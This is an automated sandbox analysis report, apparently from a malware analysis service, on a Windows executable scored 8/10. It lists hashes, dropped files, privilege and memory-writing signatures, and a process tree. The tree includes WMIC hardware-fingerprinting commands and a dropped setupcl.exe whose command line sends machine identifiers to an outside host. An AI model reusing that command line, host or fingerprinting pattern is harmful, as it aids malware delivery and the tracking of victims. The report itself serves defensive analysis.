c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3

Analysis

max time kernel
148s
max time network
170s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2022, 13:34

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General

Target

c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
Size

406KB
MD5

02e18c09de31fb0ea40d4052c08e10af
SHA1

d470b98096f171f8ff00ac16ca11e352125b0a0c
SHA256

c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3
SHA512

935226c1acb1f77d370796b9c797456f8270ecea38fc0bd0ec3a0b358e493071a4cdca960721abe616b2d8e2e5310bcaac2bbd349b66101af0a4227d1ec9c944
SSDEEP

12288:EA0i50G64hCDVD5Ja4glCYnuXCTUiAKMjWB1qKmNcfGU:EAfyGRhC5jablCYnuSYLl2ETNcfGU

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4028	7za.exe
1256	setupcl.exe

Loads dropped DLL 5 IoCs

pid	Process
4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1736	WMIC.exe
Token: SeSecurityPrivilege	1736	WMIC.exe
Token: SeTakeOwnershipPrivilege	1736	WMIC.exe
Token: SeLoadDriverPrivilege	1736	WMIC.exe
Token: SeSystemProfilePrivilege	1736	WMIC.exe
Token: SeSystemtimePrivilege	1736	WMIC.exe
Token: SeProfSingleProcessPrivilege	1736	WMIC.exe
Token: SeIncBasePriorityPrivilege	1736	WMIC.exe
Token: SeCreatePagefilePrivilege	1736	WMIC.exe
Token: SeBackupPrivilege	1736	WMIC.exe
Token: SeRestorePrivilege	1736	WMIC.exe
Token: SeShutdownPrivilege	1736	WMIC.exe
Token: SeDebugPrivilege	1736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1736	WMIC.exe
Token: SeRemoteShutdownPrivilege	1736	WMIC.exe
Token: SeUndockPrivilege	1736	WMIC.exe
Token: SeManageVolumePrivilege	1736	WMIC.exe
Token: 33	1736	WMIC.exe
Token: 34	1736	WMIC.exe
Token: 35	1736	WMIC.exe
Token: 36	1736	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1736	WMIC.exe
Token: SeSecurityPrivilege	1736	WMIC.exe
Token: SeTakeOwnershipPrivilege	1736	WMIC.exe
Token: SeLoadDriverPrivilege	1736	WMIC.exe
Token: SeSystemProfilePrivilege	1736	WMIC.exe
Token: SeSystemtimePrivilege	1736	WMIC.exe
Token: SeProfSingleProcessPrivilege	1736	WMIC.exe
Token: SeIncBasePriorityPrivilege	1736	WMIC.exe
Token: SeCreatePagefilePrivilege	1736	WMIC.exe
Token: SeBackupPrivilege	1736	WMIC.exe
Token: SeRestorePrivilege	1736	WMIC.exe
Token: SeShutdownPrivilege	1736	WMIC.exe
Token: SeDebugPrivilege	1736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1736	WMIC.exe
Token: SeRemoteShutdownPrivilege	1736	WMIC.exe
Token: SeUndockPrivilege	1736	WMIC.exe
Token: SeManageVolumePrivilege	1736	WMIC.exe
Token: 33	1736	WMIC.exe
Token: 34	1736	WMIC.exe
Token: 35	1736	WMIC.exe
Token: 36	1736	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe
Token: SeSecurityPrivilege	3968	WMIC.exe
Token: SeTakeOwnershipPrivilege	3968	WMIC.exe
Token: SeLoadDriverPrivilege	3968	WMIC.exe
Token: SeSystemProfilePrivilege	3968	WMIC.exe
Token: SeSystemtimePrivilege	3968	WMIC.exe
Token: SeProfSingleProcessPrivilege	3968	WMIC.exe
Token: SeIncBasePriorityPrivilege	3968	WMIC.exe
Token: SeCreatePagefilePrivilege	3968	WMIC.exe
Token: SeBackupPrivilege	3968	WMIC.exe
Token: SeRestorePrivilege	3968	WMIC.exe
Token: SeShutdownPrivilege	3968	WMIC.exe
Token: SeDebugPrivilege	3968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3968	WMIC.exe
Token: SeRemoteShutdownPrivilege	3968	WMIC.exe
Token: SeUndockPrivilege	3968	WMIC.exe
Token: SeManageVolumePrivilege	3968	WMIC.exe
Token: 33	3968	WMIC.exe
Token: 34	3968	WMIC.exe
Token: 35	3968	WMIC.exe
Token: 36	3968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1256	setupcl.exe
1256	setupcl.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 1736	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	83
PID 4920 wrote to memory of 1736	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	83
PID 4920 wrote to memory of 1736	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	83
PID 4920 wrote to memory of 3968	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	85
PID 4920 wrote to memory of 3968	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	85
PID 4920 wrote to memory of 3968	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	85
PID 4920 wrote to memory of 4144	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	87
PID 4920 wrote to memory of 4144	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	87
PID 4920 wrote to memory of 4144	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	87
PID 4920 wrote to memory of 4272	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	89
PID 4920 wrote to memory of 4272	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	89
PID 4920 wrote to memory of 4272	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	89
PID 4920 wrote to memory of 4028	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	91
PID 4920 wrote to memory of 4028	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	91
PID 4920 wrote to memory of 4028	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	91
PID 4920 wrote to memory of 1256	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	93
PID 4920 wrote to memory of 1256	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	93
PID 4920 wrote to memory of 1256	4920	c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe	93
PID 1256 wrote to memory of 2732	1256	setupcl.exe	94
PID 1256 wrote to memory of 2732	1256	setupcl.exe	94
PID 1256 wrote to memory of 2732	1256	setupcl.exe	94

C:\Users\Admin\AppData\Local\Temp\c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe
"C:\Users\Admin\AppData\Local\Temp\c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:4144
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:4272
- C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\7za.exe
  7za.exe e -y -p"dad757a9d72b4c9b2a374b4834c9369b" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:4028
- C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\setupcl.exe" /initurl http://sub.nuidal.info/init/c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3/:uid:? /affid "-" /id "0" /name " " /uniqid c7cb98c9f41e9938e7f43965cdc4822b840fda90a4c7c860402ae9a21a6acee3 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    wmic bios get serialnumber, version
    3⤵
    PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
23119b730fbe406532478c90df6545a6

SHA1
12d4ae56f24006d229e266b5542505cf1eb8eb72

SHA256
0bc8f24a4d584330510d6d80ff71651d603a0232e8bf73362753edf7898b8c7e

SHA512
d51f992aa2fdea692cbf15fa9618ce6bc3b396a128ec607641eca94c90733dd9348ad676e18835fd192bc9e2d2b41c04157be7189612795c02f32c9704555572

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\setupcl.exe

Filesize
193KB

MD5
bbb978e54532b56c704f61fb335613bd

SHA1
2f8442e51b50eced927cdf4b04df69f66475a3ca

SHA256
99bc8c522304d2bce8b33ba999be219b43b799cafddc953b24cb9af771b4f15c

SHA512
366d2e0cf28d9d23246b5bde811e3acb4f019e23dfe55d9977483ae711ca98294b521ac8d86c24000df6d0e787df75523b069a02ce17fff9224911557503a58a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsjC451.tmp\setupcl.exe

Filesize
193KB

MD5
bbb978e54532b56c704f61fb335613bd

SHA1
2f8442e51b50eced927cdf4b04df69f66475a3ca

SHA256
99bc8c522304d2bce8b33ba999be219b43b799cafddc953b24cb9af771b4f15c

SHA512
366d2e0cf28d9d23246b5bde811e3acb4f019e23dfe55d9977483ae711ca98294b521ac8d86c24000df6d0e787df75523b069a02ce17fff9224911557503a58a

Download Submit